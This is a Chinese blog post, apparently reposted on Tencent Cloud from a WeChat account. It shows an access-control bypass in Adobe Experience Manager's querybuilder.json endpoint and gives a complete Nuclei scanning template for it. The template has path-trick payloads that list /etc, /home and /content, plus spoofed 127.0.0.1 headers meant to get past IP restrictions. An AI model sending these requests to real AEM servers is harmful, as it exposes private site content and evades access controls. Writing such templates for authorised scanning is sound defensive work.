前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >AEM漏洞与Nuclei Template编写

AEM漏洞与Nuclei Template编写

作者头像
洛米唯熊
发布2022-10-27 10:43:33
6620
发布2022-10-27 10:43:33
举报
文章被收录于专栏:洛米唯熊洛米唯熊

一、首先:什么是AEM?

AEM 是 "Adobe Experience Manager" 的英文缩写。是由一个 Java 构建的全面的内容管理解决方案。它可以辅助网站的动态数字体验,也辅助了内容的碎片化整理。

一句话概括上面的官方废话:就是一个CMS

二、开门见山:

Adobe CQ5默认的查询服务器 JSON :

代码语言:javascript
复制
`http://localhost/bin/querybuilder.json

我们可以通过Fuzz来遍历系统读取的利用点

发现了状态200的利用方式

再构造文件读取参数?path=

链接缝合:

代码语言:javascript
复制
/bin/querybuilder.json.;%0ajaky.css?path=/etc

效果展示:

可见状态显示:success

并出现了etc下的目录

三、构造Template

代码语言:javascript
复制
id: Jaky_AEM

info:
  name: Jaky_AEM
  author: Jaky
  severity: high
  reference:
    - https://www.luomiweixiong.com/
  tags: Jaky_AEM

requests:
  - method: GET
    path:
      - "{{BaseURL}}/bin/querybuilder.json.;%0ajaky.css?path=/etc"
      - "{{BaseURL}}/bin/querybuilder.json.;%0Ajaky.css?path=/home"
      - "{{BaseURL}}/bin/querybuilder.json.;%0Ajaky.css?path=/content"


    headers:
      X-Client-IP: 127.0.0.1
      X-Remote-IP: 127.0.0.1
      X-Remote-Addr: 127.0.0.1
      X-Forwarded-For: 127.0.0.1
      X-Originating-IP: 127.0.0.1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - "success.*results"

info:告诉nuclei该Template的信息.

requests:请求方式 (一看就懂).

headers:加入127.0.0.1的一些方式,可以绕过某种机制.

matchers:回显的匹配,正则、状态码等.

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档